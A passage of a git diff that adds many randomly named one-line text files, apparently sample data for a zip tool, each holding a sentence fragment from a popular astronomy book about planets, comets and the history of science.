diff --git a/big_zip/big-zip-files/hquhlocwkeobuxpzwj.txt b/big_zip/big-zip-files/hquhlocwkeobuxpzwj.txt
new file mode 100644
index 0000000..d94de89
--- /dev/null
+++ b/big_zip/big-zip-files/hquhlocwkeobuxpzwj.txt
@@ -0,0 +1 @@
+more than the Sun and collapsed into a volume the size of an asteroid can only be a black
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hsotdrvwofionfjgulbdwun.txt b/big_zip/big-zip-files/hsotdrvwofionfjgulbdwun.txt
new file mode 100644
index 0000000..021f699
--- /dev/null
+++ b/big_zip/big-zip-files/hsotdrvwofionfjgulbdwun.txt
@@ -0,0 +1 @@
+far more likely that the universe is brimming over with life. But we humans do not yet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hulepsmrgwvxuyac.txt b/big_zip/big-zip-files/hulepsmrgwvxuyac.txt
new file mode 100644
index 0000000..0cf0315
--- /dev/null
+++ b/big_zip/big-zip-files/hulepsmrgwvxuyac.txt
@@ -0,0 +1 @@
+smoother pebble or a prettier shell than ordinary, while the great ocean of truth lay all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hurelfscaplaustaibkv.txt b/big_zip/big-zip-files/hurelfscaplaustaibkv.txt
new file mode 100644
index 0000000..7768647
--- /dev/null
+++ b/big_zip/big-zip-files/hurelfscaplaustaibkv.txt
@@ -0,0 +1 @@
+* The account of Cowee, the Tlingit chief, shows that even in a preliterate culture a recognizable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hvyesmomjlilmwbk.txt b/big_zip/big-zip-files/hvyesmomjlilmwbk.txt
new file mode 100644
index 0000000..8ac9b19
--- /dev/null
+++ b/big_zip/big-zip-files/hvyesmomjlilmwbk.txt
@@ -0,0 +1 @@
+* More precisely, an impact crater 10 kilometers in diameter is produced on the Earth about once
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hwszdzwihufkjk.txt b/big_zip/big-zip-files/hwszdzwihufkjk.txt
new file mode 100644
index 0000000..ee6088a
--- /dev/null
+++ b/big_zip/big-zip-files/hwszdzwihufkjk.txt
@@ -0,0 +1 @@
+gases are unlikely to have escaped from Mars. They are, therefore, on the planet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hwyilhqczfuynxszcmhshp.txt b/big_zip/big-zip-files/hwyilhqczfuynxszcmhshp.txt
new file mode 100644
index 0000000..39e27d2
--- /dev/null
+++ b/big_zip/big-zip-files/hwyilhqczfuynxszcmhshp.txt
@@ -0,0 +1 @@
+must therefore melt their icy interiors. We anticipate underground oceans of slush and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hyigflomcweq.txt b/big_zip/big-zip-files/hyigflomcweq.txt
new file mode 100644
index 0000000..2243495
--- /dev/null
+++ b/big_zip/big-zip-files/hyigflomcweq.txt
@@ -0,0 +1 @@
+an absolutely featureless disc. Galileo noted that it went through phases, like the Moon,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hylbekyrhmdnfzpbffz.txt b/big_zip/big-zip-files/hylbekyrhmdnfzpbffz.txt
new file mode 100644
index 0000000..d915876
--- /dev/null
+++ b/big_zip/big-zip-files/hylbekyrhmdnfzpbffz.txt
@@ -0,0 +1 @@
+reedy tune the only voice for thousands of light-years? Or is there a kind of cosmic fugue,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iadfbuucsuh.txt b/big_zip/big-zip-files/iadfbuucsuh.txt
new file mode 100644
index 0000000..85d900a
--- /dev/null
+++ b/big_zip/big-zip-files/iadfbuucsuh.txt
@@ -0,0 +1 @@
+Following Tycho and Kepler, Newton concluded that the comets seen from Earth do not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iaigmrupwabdslyfnae.txt b/big_zip/big-zip-files/iaigmrupwabdslyfnae.txt
new file mode 100644
index 0000000..13a5b36
--- /dev/null
+++ b/big_zip/big-zip-files/iaigmrupwabdslyfnae.txt
@@ -0,0 +1 @@
+But presently our journey takes us to what astronomers on Earth like to call the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/idvvniidkwcpwuavzgvqfn.txt b/big_zip/big-zip-files/idvvniidkwcpwuavzgvqfn.txt
new file mode 100644
index 0000000..3430d18
--- /dev/null
+++ b/big_zip/big-zip-files/idvvniidkwcpwuavzgvqfn.txt
@@ -0,0 +1 @@
+because there are no crimes: Nature is self-regulating and merely arranges things so that its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ifvfczvcjyuesxiltlzyvzcw.txt b/big_zip/big-zip-files/ifvfczvcjyuesxiltlzyvzcw.txt
new file mode 100644
index 0000000..689ac15
--- /dev/null
+++ b/big_zip/big-zip-files/ifvfczvcjyuesxiltlzyvzcw.txt
@@ -0,0 +1 @@
+To make an apple pie, you need wheat, apples, a pinch of this and that, and the heat of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/igikhevnxqkczkbpkz.txt b/big_zip/big-zip-files/igikhevnxqkczkbpkz.txt
new file mode 100644
index 0000000..696b82a
--- /dev/null
+++ b/big_zip/big-zip-files/igikhevnxqkczkbpkz.txt
@@ -0,0 +1 @@
+devoted to reversing the arms race. But the comparative budgets of the Department of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/igqecbsf.txt b/big_zip/big-zip-files/igqecbsf.txt
new file mode 100644
index 0000000..81b2063
--- /dev/null
+++ b/big_zip/big-zip-files/igqecbsf.txt
@@ -0,0 +1 @@
+fire keeps animals away. We can be hurt at night. Sometimes we have been eaten, even by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/igxzpywy.txt b/big_zip/big-zip-files/igxzpywy.txt
new file mode 100644
index 0000000..9927562
--- /dev/null
+++ b/big_zip/big-zip-files/igxzpywy.txt
@@ -0,0 +1 @@
+the top of the Sun’s atmosphere blown outward toward the realm of the stars. Some two or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ihdqlnnfpedd.txt b/big_zip/big-zip-files/ihdqlnnfpedd.txt
new file mode 100644
index 0000000..53a858d
--- /dev/null
+++ b/big_zip/big-zip-files/ihdqlnnfpedd.txt
@@ -0,0 +1 @@
+massive center of the Milky Way.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ihuiuiltlas.txt b/big_zip/big-zip-files/ihuiuiltlas.txt
new file mode 100644
index 0000000..0169e46
--- /dev/null
+++ b/big_zip/big-zip-files/ihuiuiltlas.txt
@@ -0,0 +1 @@
+of the eternal flame, a symbol still widely employed in religious, memorial, political and athletic ceremonials
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ikcgeram.txt b/big_zip/big-zip-files/ikcgeram.txt
new file mode 100644
index 0000000..5251692
--- /dev/null
+++ b/big_zip/big-zip-files/ikcgeram.txt
@@ -0,0 +1 @@
+yes/no answers to the various biological questions are written in the language of life? A
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ikurqussssfhpfcbw.txt b/big_zip/big-zip-files/ikurqussssfhpfcbw.txt
new file mode 100644
index 0000000..b31bfca
--- /dev/null
+++ b/big_zip/big-zip-files/ikurqussssfhpfcbw.txt
@@ -0,0 +1 @@
+relatively abundant gold and uranium on Earth only because many supernova explosions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ilmgqurbzs.txt b/big_zip/big-zip-files/ilmgqurbzs.txt
new file mode 100644
index 0000000..725450d
--- /dev/null
+++ b/big_zip/big-zip-files/ilmgqurbzs.txt
@@ -0,0 +1 @@
+accelerates it into a fusion engine and ejects it out the back. The hydrogen would be used
\ No newline at end of file
diff --git a/big_zip/big-zip-files/inczjboudkdqwjltstjbi.txt b/big_zip/big-zip-files/inczjboudkdqwjltstjbi.txt
new file mode 100644
index 0000000..9816e50
--- /dev/null
+++ b/big_zip/big-zip-files/inczjboudkdqwjltstjbi.txt
@@ -0,0 +1 @@
+in water. Thus he established an alternative to spontaneous generation - the notion that life
\ No newline at end of file
diff --git a/big_zip/big-zip-files/inhhxzpctl.txt b/big_zip/big-zip-files/inhhxzpctl.txt
new file mode 100644
index 0000000..7e4a632
--- /dev/null
+++ b/big_zip/big-zip-files/inhhxzpctl.txt
@@ -0,0 +1 @@
+it. As the light leaves these stars, certain frequencies or colors are absorbed by the atoms in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iqjjivkwlgsiqj.txt b/big_zip/big-zip-files/iqjjivkwlgsiqj.txt
new file mode 100644
index 0000000..4cebd68
--- /dev/null
+++ b/big_zip/big-zip-files/iqjjivkwlgsiqj.txt
@@ -0,0 +1 @@
+then we stumble on a major civilization, such as the ancient culture of Ebla, which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iserhlwdhhc.txt b/big_zip/big-zip-files/iserhlwdhhc.txt
new file mode 100644
index 0000000..35b7b6b
--- /dev/null
+++ b/big_zip/big-zip-files/iserhlwdhhc.txt
@@ -0,0 +1 @@
+Cornell colleague E. E. Salpeter and I have made some calculations. Of course, we cannot
\ No newline at end of file
diff --git a/big_zip/big-zip-files/itkmaptvdhmabicd.txt b/big_zip/big-zip-files/itkmaptvdhmabicd.txt
new file mode 100644
index 0000000..1f4b39d
--- /dev/null
+++ b/big_zip/big-zip-files/itkmaptvdhmabicd.txt
@@ -0,0 +1 @@
+- as individual character and human history, as well as cross-cultural studies, suggest - then
\ No newline at end of file
diff --git a/big_zip/big-zip-files/itttrfbeajzjmgufqwueip.txt b/big_zip/big-zip-files/itttrfbeajzjmgufqwueip.txt
new file mode 100644
index 0000000..1d20de8
--- /dev/null
+++ b/big_zip/big-zip-files/itttrfbeajzjmgufqwueip.txt
@@ -0,0 +1 @@
+efficiently, not over six years but over a few hours, a blockbuster for every family on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iulkpjkvdjmgnechkpg.txt b/big_zip/big-zip-files/iulkpjkvdjmgnechkpg.txt
new file mode 100644
index 0000000..eb92a4f
--- /dev/null
+++ b/big_zip/big-zip-files/iulkpjkvdjmgnechkpg.txt
@@ -0,0 +1 @@
+late twentieth century. Of course, in such an exchange, not everyone would be killed by the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iwbtrxdiufdapybozsl.txt b/big_zip/big-zip-files/iwbtrxdiufdapybozsl.txt
new file mode 100644
index 0000000..f983f23
--- /dev/null
+++ b/big_zip/big-zip-files/iwbtrxdiufdapybozsl.txt
@@ -0,0 +1 @@
+he said, extensive vulcanism and floods.* Velikovsky imagined the comet, after a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iwhnbrelcihfsnlailg.txt b/big_zip/big-zip-files/iwhnbrelcihfsnlailg.txt
new file mode 100644
index 0000000..ee242c1
--- /dev/null
+++ b/big_zip/big-zip-files/iwhnbrelcihfsnlailg.txt
@@ -0,0 +1 @@
+working its way toward the surface of the star, losing energy at every step, the photon’sepic journey takes a million years until, as visible light, it reaches the surface and is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iwqsvthweriaeryzlsulavq.txt b/big_zip/big-zip-files/iwqsvthweriaeryzlsulavq.txt
new file mode 100644
index 0000000..f702920
--- /dev/null
+++ b/big_zip/big-zip-files/iwqsvthweriaeryzlsulavq.txt
@@ -0,0 +1 @@
+predecessors, the Viking landing maneuver involved an ablation shield, a parachute and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ixnjdvrtxbjqokbklmksqm.txt b/big_zip/big-zip-files/ixnjdvrtxbjqokbklmksqm.txt
new file mode 100644
index 0000000..c4eb8ad
--- /dev/null
+++ b/big_zip/big-zip-files/ixnjdvrtxbjqokbklmksqm.txt
@@ -0,0 +1 @@
+planets. The largest are a few hundred kilometers across. Many have oblong shapes and are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iynjmlifzqlnf.txt b/big_zip/big-zip-files/iynjmlifzqlnf.txt
new file mode 100644
index 0000000..d5bba48
--- /dev/null
+++ b/big_zip/big-zip-files/iynjmlifzqlnf.txt
@@ -0,0 +1 @@
+a hundred billion planetary systems in the Galaxy awaiting exploration.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/iyqhdruthzvgf.txt b/big_zip/big-zip-files/iyqhdruthzvgf.txt
new file mode 100644
index 0000000..e762d1e
--- /dev/null
+++ b/big_zip/big-zip-files/iyqhdruthzvgf.txt
@@ -0,0 +1 @@
+reproduce with great accuracy the apparent motion of the planets, as seen from down here,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/izktphvzmx.txt b/big_zip/big-zip-files/izktphvzmx.txt
new file mode 100644
index 0000000..b09ff36
--- /dev/null
+++ b/big_zip/big-zip-files/izktphvzmx.txt
@@ -0,0 +1 @@
+many years, you could predict the seasons. You could also measure the time of year by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jfhfsilzxewqxooqpius.txt b/big_zip/big-zip-files/jfhfsilzxewqxooqpius.txt
new file mode 100644
index 0000000..991d9a5
--- /dev/null
+++ b/big_zip/big-zip-files/jfhfsilzxewqxooqpius.txt
@@ -0,0 +1 @@
+to determine that the Martian day was, like ours, roughly twenty-four hours long. He was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jflgpeyjfsnzmomlokdut.txt b/big_zip/big-zip-files/jflgpeyjfsnzmomlokdut.txt
new file mode 100644
index 0000000..7603184
--- /dev/null
+++ b/big_zip/big-zip-files/jflgpeyjfsnzmomlokdut.txt
@@ -0,0 +1 @@
+reach the surface and be lost to space, and the radioactivity inside Ganymede and Callisto
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jhohfyuhp.txt b/big_zip/big-zip-files/jhohfyuhp.txt
new file mode 100644
index 0000000..670cd3f
--- /dev/null
+++ b/big_zip/big-zip-files/jhohfyuhp.txt
@@ -0,0 +1 @@
+Many of Vishniac’s microbiology stations are still sitting in Antarctica. But the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jhutpvthg.txt b/big_zip/big-zip-files/jhutpvthg.txt
new file mode 100644
index 0000000..a6a3332
--- /dev/null
+++ b/big_zip/big-zip-files/jhutpvthg.txt
@@ -0,0 +1 @@
+Physics and chemistry permit such lifeforms. Art endows them with a certain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jkmaaypzg.txt b/big_zip/big-zip-files/jkmaaypzg.txt
new file mode 100644
index 0000000..2679122
--- /dev/null
+++ b/big_zip/big-zip-files/jkmaaypzg.txt
@@ -0,0 +1 @@
+On December 10, 1973, he left to gather samples on Mount Balder; his departure was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jkpohoxp.txt b/big_zip/big-zip-files/jkpohoxp.txt
new file mode 100644
index 0000000..ebbbdb6
--- /dev/null
+++ b/big_zip/big-zip-files/jkpohoxp.txt
@@ -0,0 +1 @@
+nucleotide out of the ten billion in the DNA of a typical human cell. We are still ignorant of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jkshtszwkbvw.txt b/big_zip/big-zip-files/jkshtszwkbvw.txt
new file mode 100644
index 0000000..d6d7467
--- /dev/null
+++ b/big_zip/big-zip-files/jkshtszwkbvw.txt
@@ -0,0 +1 @@
+nuclear fusion created heavy elements, the ashes of hydrogen burning, the atomic building
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jktgoqaioszlmjlt.txt b/big_zip/big-zip-files/jktgoqaioszlmjlt.txt
new file mode 100644
index 0000000..ca70be7
--- /dev/null
+++ b/big_zip/big-zip-files/jktgoqaioszlmjlt.txt
@@ -0,0 +1 @@
+begun to listen for other voices in the cosmic fugue.CHAPTER III
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jmldtllmiobmxwxcxsatpbr.txt b/big_zip/big-zip-files/jmldtllmiobmxwxcxsatpbr.txt
new file mode 100644
index 0000000..2c21c23
--- /dev/null
+++ b/big_zip/big-zip-files/jmldtllmiobmxwxcxsatpbr.txt
@@ -0,0 +1 @@
+planets against the backdrop of distant constellations. The inner planets move rapidly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jowjtidhtqncswpx.txt b/big_zip/big-zip-files/jowjtidhtqncswpx.txt
new file mode 100644
index 0000000..224d509
--- /dev/null
+++ b/big_zip/big-zip-files/jowjtidhtqncswpx.txt
@@ -0,0 +1 @@
+causality inversion means. Will people at such a time be born in the grave and die in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jppbdlyppdicnjfhqqplaq.txt b/big_zip/big-zip-files/jppbdlyppdicnjfhqqplaq.txt
new file mode 100644
index 0000000..18ff262
--- /dev/null
+++ b/big_zip/big-zip-files/jppbdlyppdicnjfhqqplaq.txt
@@ -0,0 +1 @@
+One of them, Element 94, is called plutonium and is one of the most toxic substances
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jpvaawkrpno.txt b/big_zip/big-zip-files/jpvaawkrpno.txt
new file mode 100644
index 0000000..b84ced7
--- /dev/null
+++ b/big_zip/big-zip-files/jpvaawkrpno.txt
@@ -0,0 +1 @@
+- Bhagavad Gita
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jrdzivoqwdmt.txt b/big_zip/big-zip-files/jrdzivoqwdmt.txt
new file mode 100644
index 0000000..8f63a71
--- /dev/null
+++ b/big_zip/big-zip-files/jrdzivoqwdmt.txt
@@ -0,0 +1 @@
+as a hundred meters across, the situation changes. Many places on Earth seem suddenly to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jvuiuibk.txt b/big_zip/big-zip-files/jvuiuibk.txt
new file mode 100644
index 0000000..19f4b09
--- /dev/null
+++ b/big_zip/big-zip-files/jvuiuibk.txt
@@ -0,0 +1 @@
+square root of 2 is a rational number: The square root of 2 = p/q, where p and q are integers,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jvutlpnevmtboneswt.txt b/big_zip/big-zip-files/jvutlpnevmtboneswt.txt
new file mode 100644
index 0000000..64cc3cb
--- /dev/null
+++ b/big_zip/big-zip-files/jvutlpnevmtboneswt.txt
@@ -0,0 +1 @@
+When Paul Fox of Cornell and I compared Lowell’s maps of Mars with the Mariner
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jwdwrzfxwmdu.txt b/big_zip/big-zip-files/jwdwrzfxwmdu.txt
new file mode 100644
index 0000000..d226eaf
--- /dev/null
+++ b/big_zip/big-zip-files/jwdwrzfxwmdu.txt
@@ -0,0 +1 @@
+warmer equatorial regions. There is, of course, a way to do it. We would build canals.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jwhddpxrgckcchaeqsbclf.txt b/big_zip/big-zip-files/jwhddpxrgckcchaeqsbclf.txt
new file mode 100644
index 0000000..91ac41f
--- /dev/null
+++ b/big_zip/big-zip-files/jwhddpxrgckcchaeqsbclf.txt
@@ -0,0 +1 @@
+The outraged Athenians had to content themselves with the copies that Ptolemy, only a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jxoqjwwage.txt b/big_zip/big-zip-files/jxoqjwwage.txt
new file mode 100644
index 0000000..0d6f6c6
--- /dev/null
+++ b/big_zip/big-zip-files/jxoqjwwage.txt
@@ -0,0 +1 @@
+exponential arithmetic). Also shown, as a vertical bar at the right of the diagram, is the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jxphwcnirjanihihymjyotnz.txt b/big_zip/big-zip-files/jxphwcnirjanihihymjyotnz.txt
new file mode 100644
index 0000000..e662ce7
--- /dev/null
+++ b/big_zip/big-zip-files/jxphwcnirjanihihymjyotnz.txt
@@ -0,0 +1 @@
+He was the first person to state clearly that the Moon shines by reflected light, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jymvxvmlxwnojaynyuzamnj.txt b/big_zip/big-zip-files/jymvxvmlxwnojaynyuzamnj.txt
new file mode 100644
index 0000000..a2945ca
--- /dev/null
+++ b/big_zip/big-zip-files/jymvxvmlxwnojaynyuzamnj.txt
@@ -0,0 +1 @@
+world population in recent years, which reached one billion people (M = 9) around 1835
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jzbmhbzsoqmhfxnyj.txt b/big_zip/big-zip-files/jzbmhbzsoqmhfxnyj.txt
new file mode 100644
index 0000000..f11fa11
--- /dev/null
+++ b/big_zip/big-zip-files/jzbmhbzsoqmhfxnyj.txt
@@ -0,0 +1 @@
+make our own contribution to the collective knowledge of the human species. Public
\ No newline at end of file
diff --git a/big_zip/big-zip-files/jzuufffekpzrdshaibfdsfu.txt b/big_zip/big-zip-files/jzuufffekpzrdshaibfdsfu.txt
new file mode 100644
index 0000000..6c81d22
--- /dev/null
+++ b/big_zip/big-zip-files/jzuufffekpzrdshaibfdsfu.txt
@@ -0,0 +1 @@
+ultraviolet, however, we see a graceful, complex swirling weather system in the high
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kbigbmtuanrxj.txt b/big_zip/big-zip-files/kbigbmtuanrxj.txt
new file mode 100644
index 0000000..8dc9c36
--- /dev/null
+++ b/big_zip/big-zip-files/kbigbmtuanrxj.txt
@@ -0,0 +1 @@
+Christianity.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kdcygrtjixqlqnn.txt b/big_zip/big-zip-files/kdcygrtjixqlqnn.txt
new file mode 100644
index 0000000..14f0f7b
--- /dev/null
+++ b/big_zip/big-zip-files/kdcygrtjixqlqnn.txt
@@ -0,0 +1 @@
+skin, pointy ears and antennae. But if you pressed me, I could try to imagine something
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kdtzhmumpbdcr.txt b/big_zip/big-zip-files/kdtzhmumpbdcr.txt
new file mode 100644
index 0000000..536b84c
--- /dev/null
+++ b/big_zip/big-zip-files/kdtzhmumpbdcr.txt
@@ -0,0 +1 @@
+scientific meeting where an astronomer expressed amazement that the biologists had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kgbmufixh.txt b/big_zip/big-zip-files/kgbmufixh.txt
new file mode 100644
index 0000000..ba7843d
--- /dev/null
+++ b/big_zip/big-zip-files/kgbmufixh.txt
@@ -0,0 +1 @@
+ideas are tempered by another, perhaps still greater. It is said that men may not be the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kgpolzqkdbavyrvm.txt b/big_zip/big-zip-files/kgpolzqkdbavyrvm.txt
new file mode 100644
index 0000000..4acf172
--- /dev/null
+++ b/big_zip/big-zip-files/kgpolzqkdbavyrvm.txt
@@ -0,0 +1 @@
+particles in it, quite a bit more than a googol but trivially small compared to a googolplex.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kgupjbjaa.txt b/big_zip/big-zip-files/kgupjbjaa.txt
new file mode 100644
index 0000000..081f960
--- /dev/null
+++ b/big_zip/big-zip-files/kgupjbjaa.txt
@@ -0,0 +1 @@
+* Fourier is now famous for his study of the propagation of heat in solids, used today to understand
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kgyovjhklqabaiiqzklp.txt b/big_zip/big-zip-files/kgyovjhklqabaiiqzklp.txt
new file mode 100644
index 0000000..9eb195a
--- /dev/null
+++ b/big_zip/big-zip-files/kgyovjhklqabaiiqzklp.txt
@@ -0,0 +1 @@
+striking a different gene, producing a different mutation, can have small consequences early
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kluznzqjbjepvgcfk.txt b/big_zip/big-zip-files/kluznzqjbjepvgcfk.txt
new file mode 100644
index 0000000..95130ec
--- /dev/null
+++ b/big_zip/big-zip-files/kluznzqjbjepvgcfk.txt
@@ -0,0 +1 @@
+Anaximander concluded that human beings arose from other animals with more self-reliant
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kmlrkidnutaaggcfeicg.txt b/big_zip/big-zip-files/kmlrkidnutaaggcfeicg.txt
new file mode 100644
index 0000000..fd73a42
--- /dev/null
+++ b/big_zip/big-zip-files/kmlrkidnutaaggcfeicg.txt
@@ -0,0 +1 @@
+waves, have extremely luminous cores and fluctuate in brightness on time scales of weeks.Some display jets of radiation, thousand-light-year-long plumes, and disks of dust in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/knesokyylaazfltheeavxwv.txt b/big_zip/big-zip-files/knesokyylaazfltheeavxwv.txt
new file mode 100644
index 0000000..126c1ec
--- /dev/null
+++ b/big_zip/big-zip-files/knesokyylaazfltheeavxwv.txt
@@ -0,0 +1 @@
+own. The ancient information is written in exhaustive, careful, redundant detail - how to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/knylvfpaaiucxiwpt.txt b/big_zip/big-zip-files/knylvfpaaiucxiwpt.txt
new file mode 100644
index 0000000..6bd5284
--- /dev/null
+++ b/big_zip/big-zip-files/knylvfpaaiucxiwpt.txt
@@ -0,0 +1 @@
+Clusters of galaxies fill the universe today. Some are insignificant, paltry collections
\ No newline at end of file
diff --git a/big_zip/big-zip-files/koknpgnzbklskbqnpcsqgf.txt b/big_zip/big-zip-files/koknpgnzbklskbqnpcsqgf.txt
new file mode 100644
index 0000000..751c27a
--- /dev/null
+++ b/big_zip/big-zip-files/koknpgnzbklskbqnpcsqgf.txt
@@ -0,0 +1 @@
+himself indifferently suited to an ecclesiastical career - he found himself accepting. He was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kpszqscdipfflxwxfcczn.txt b/big_zip/big-zip-files/kpszqscdipfflxwxfcczn.txt
new file mode 100644
index 0000000..19a5293
--- /dev/null
+++ b/big_zip/big-zip-files/kpszqscdipfflxwxfcczn.txt
@@ -0,0 +1 @@
+NASA medals for Exceptional Scientific Achievement and for Distinguished Public
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kqjgxygvxwsp.txt b/big_zip/big-zip-files/kqjgxygvxwsp.txt
new file mode 100644
index 0000000..5bfb553
--- /dev/null
+++ b/big_zip/big-zip-files/kqjgxygvxwsp.txt
@@ -0,0 +1 @@
+tiny fragments that cause those glittering, harmless meteor showers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kqyrqqloqkrh.txt b/big_zip/big-zip-files/kqyrqqloqkrh.txt
new file mode 100644
index 0000000..385d2f4
--- /dev/null
+++ b/big_zip/big-zip-files/kqyrqqloqkrh.txt
@@ -0,0 +1 @@
+the National Aeronautics and Space Administration in Pasadena, California.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kwnzohtzewlqujptaybq.txt b/big_zip/big-zip-files/kwnzohtzewlqujptaybq.txt
new file mode 100644
index 0000000..6db5b95
--- /dev/null
+++ b/big_zip/big-zip-files/kwnzohtzewlqujptaybq.txt
@@ -0,0 +1 @@
+profusion of Martian surface detail uncovered by unmanned spacecraft. However, there are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kwpyxkrrmuz.txt b/big_zip/big-zip-files/kwpyxkrrmuz.txt
new file mode 100644
index 0000000..889a418
--- /dev/null
+++ b/big_zip/big-zip-files/kwpyxkrrmuz.txt
@@ -0,0 +1 @@
+long as our investigations are limited to a single planet. Multiplying these factors together,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kyxoixiivxesjgywr.txt b/big_zip/big-zip-files/kyxoixiivxesjgywr.txt
new file mode 100644
index 0000000..94068da
--- /dev/null
+++ b/big_zip/big-zip-files/kyxoixiivxesjgywr.txt
@@ -0,0 +1 @@
+outgassed from Io contributes, after many collisions and condensations, to the ring system
\ No newline at end of file
diff --git a/big_zip/big-zip-files/kzfxmoonx.txt b/big_zip/big-zip-files/kzfxmoonx.txt
new file mode 100644
index 0000000..38426c7
--- /dev/null
+++ b/big_zip/big-zip-files/kzfxmoonx.txt
@@ -0,0 +1 @@
+Catholic scholar who held that there are an infinity of worlds and that many are inhabited.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/labweacjjcleidjgscyaeaoy.txt b/big_zip/big-zip-files/labweacjjcleidjgscyaeaoy.txt
new file mode 100644
index 0000000..be8e42b
--- /dev/null
+++ b/big_zip/big-zip-files/labweacjjcleidjgscyaeaoy.txt
@@ -0,0 +1 @@
+babyhood by familiar farm and domestic animals, fruits and trees and vegetables. Where do
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ladtlepqyxiyqfgyvwp.txt b/big_zip/big-zip-files/ladtlepqyxiyqfgyvwp.txt
new file mode 100644
index 0000000..c3b72ad
--- /dev/null
+++ b/big_zip/big-zip-files/ladtlepqyxiyqfgyvwp.txt
@@ -0,0 +1 @@
+organizational skills and demands the same commitment to valor and daring as does the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lagucpalrlsmsdkoxlkns.txt b/big_zip/big-zip-files/lagucpalrlsmsdkoxlkns.txt
new file mode 100644
index 0000000..fa59ec7
--- /dev/null
+++ b/big_zip/big-zip-files/lagucpalrlsmsdkoxlkns.txt
@@ -0,0 +1 @@
+kilometers per second). At such a rate, we will reach it in ten billion years, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lakibsjsvindcsk.txt b/big_zip/big-zip-files/lakibsjsvindcsk.txt
new file mode 100644
index 0000000..7b30fec
--- /dev/null
+++ b/big_zip/big-zip-files/lakibsjsvindcsk.txt
@@ -0,0 +1 @@
+distant planet.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lcvbkbfdrgakwjxguw.txt b/big_zip/big-zip-files/lcvbkbfdrgakwjxguw.txt
new file mode 100644
index 0000000..18cab4a
--- /dev/null
+++ b/big_zip/big-zip-files/lcvbkbfdrgakwjxguw.txt
@@ -0,0 +1 @@
+Physicists now propose that so-called elementary particles such as protons and neutrons are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lhirneytcbvupaowpp.txt b/big_zip/big-zip-files/lhirneytcbvupaowpp.txt
new file mode 100644
index 0000000..6035795
--- /dev/null
+++ b/big_zip/big-zip-files/lhirneytcbvupaowpp.txt
@@ -0,0 +1 @@
+chemistry, evolutionary biology, history, politics and abnormal psychology. Much of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lhzrwpfuftfsdx.txt b/big_zip/big-zip-files/lhzrwpfuftfsdx.txt
new file mode 100644
index 0000000..0d1bca1
--- /dev/null
+++ b/big_zip/big-zip-files/lhzrwpfuftfsdx.txt
@@ -0,0 +1 @@
+Earth seemed contrary to observation.)
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lioabyvs.txt b/big_zip/big-zip-files/lioabyvs.txt
new file mode 100644
